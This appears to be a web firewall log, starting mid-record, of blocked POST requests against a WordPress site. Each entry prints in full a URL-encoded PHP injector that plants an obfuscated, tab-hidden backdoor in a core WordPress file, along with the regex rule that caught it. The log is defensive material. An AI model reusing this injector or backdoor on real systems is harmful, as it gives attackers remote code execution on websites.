%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:47:27","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ja:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/style-engine\/class-wp-style-engine-css-rule.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2528%2520%2522.%2522%252C%2524entry%2520%2529%2520%253B%2520%2524sym%253D%2527%2527%253B%2520%2524salt4%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%253Dstrlen%2528%2520%2524salt4%2529%253B%2520%2524i%253D0%253B%2520while%2528%2520%2524i%2520%253C%2520count%2528%2520%2524entry%2529%2529%2520%257B%2520%2524v5%253D%2524entry%255B%2524i%255D%253B%2520%2524sChar%253Dord%2528%2520%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524i%2520%2525%252010%2529%2529%2520%255E%252052%253B%2520%2524sym%2520.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524ref%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524ref%2529%2520%252A%2520is_writable%2528%2524ref%2529%2529%2529%2520%257B%2520%2524token%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524token%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:4401\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnzRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nja=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/style-engine\/class-wp-style-engine-css-rule.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2528%2520%2522.%2522%252C%2524entry%2520%2529%2520%253B%2520%2524sym%253D%2527%2527%253B%2520%2524salt4%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%253Dstrlen%2528%2520%2524salt4%2529%253B%2520%2524i%253D0%253B%2520while%2528%2520%2524i%2520%253C%2520count%2528%2520%2524entry%2529%2529%2520%257B%2520%2524v5%253D%2524entry%255B%2524i%255D%253B%2520%2524sChar%253Dord%2528%2520%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524i%2520%2525%252010%2529%2529%2520%255E%252052%253B%2520%2524sym%2520.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524ref%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524ref%2529%2520%252A%2520is_writable%2528%2524ref%2529%2529%2529%2520%257B%2520%2524token%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524token%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:47:29","144.76.215.54","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pv:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/style-engine\/class-wp-style-engine-css-rule.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2528%2520%2522.%2522%252C%2524entry%2520%2529%2520%253B%2520%2524sym%253D%2527%2527%253B%2520%2524salt4%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%253Dstrlen%2528%2520%2524salt4%2529%253B%2520%2524i%253D0%253B%2520while%2528%2520%2524i%2520%253C%2520count%2528%2520%2524entry%2529%2529%2520%257B%2520%2524v5%253D%2524entry%255B%2524i%255D%253B%2520%2524sChar%253Dord%2528%2520%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524i%2520%2525%252010%2529%2529%2520%255E%252052%253B%2520%2524sym%2520.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524ref%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524ref%2529%2520%252A%2520is_writable%2528%2524ref%2529%2529%2529%2520%257B%2520%2524token%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524token%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:4401\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpULvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\npv=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/style-engine\/class-wp-style-engine-css-rule.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2528%2520%2522.%2522%252C%2524entry%2520%2529%2520%253B%2520%2524sym%253D%2527%2527%253B%2520%2524salt4%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%253Dstrlen%2528%2520%2524salt4%2529%253B%2520%2524i%253D0%253B%2520while%2528%2520%2524i%2520%253C%2520count%2528%2520%2524entry%2529%2529%2520%257B%2520%2524v5%253D%2524entry%255B%2524i%255D%253B%2520%2524sChar%253Dord%2528%2520%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524i%2520%2525%252010%2529%2529%2520%255E%252052%253B%2520%2524sym%2520.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524ref%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524ref%2529%2520%252A%2520is_writable%2528%2524ref%2529%2529%2529%2520%257B%2520%2524token%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524token%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:47:32","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/style-engine\/class-wp-style-engine-css-rule.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2528%2520%2522.%2522%252C%2524entry%2520%2529%2520%253B%2520%2524sym%253D%2527%2527%253B%2520%2524salt4%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%253Dstrlen%2528%2520%2524salt4%2529%253B%2520%2524i%253D0%253B%2520while%2528%2520%2524i%2520%253C%2520count%2528%2520%2524entry%2529%2529%2520%257B%2520%2524v5%253D%2524entry%255B%2524i%255D%253B%2520%2524sChar%253Dord%2528%2520%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524i%2520%2525%252010%2529%2529%2520%255E%252052%253B%2520%2524sym%2520.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524ref%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524ref%2529%2520%252A%2520is_writable%2528%2524ref%2529%2529%2529%2520%257B%2520%2524token%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524token%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:4424\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/style-engine\/class-wp-style-engine-css-rule.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2528%2520%2522.%2522%252C%2524entry%2520%2529%2520%253B%2520%2524sym%253D%2527%2527%253B%2520%2524salt4%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%253Dstrlen%2528%2520%2524salt4%2529%253B%2520%2524i%253D0%253B%2520while%2528%2520%2524i%2520%253C%2520count%2528%2520%2524entry%2529%2529%2520%257B%2520%2524v5%253D%2524entry%255B%2524i%255D%253B%2520%2524sChar%253Dord%2528%2520%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524i%2520%2525%252010%2529%2529%2520%255E%252052%253B%2520%2524sym%2520.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524ref%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524ref%2529%2520%252A%2520is_writable%2528%2524ref%2529%2529%2529%2520%257B%2520%2524token%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524token%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
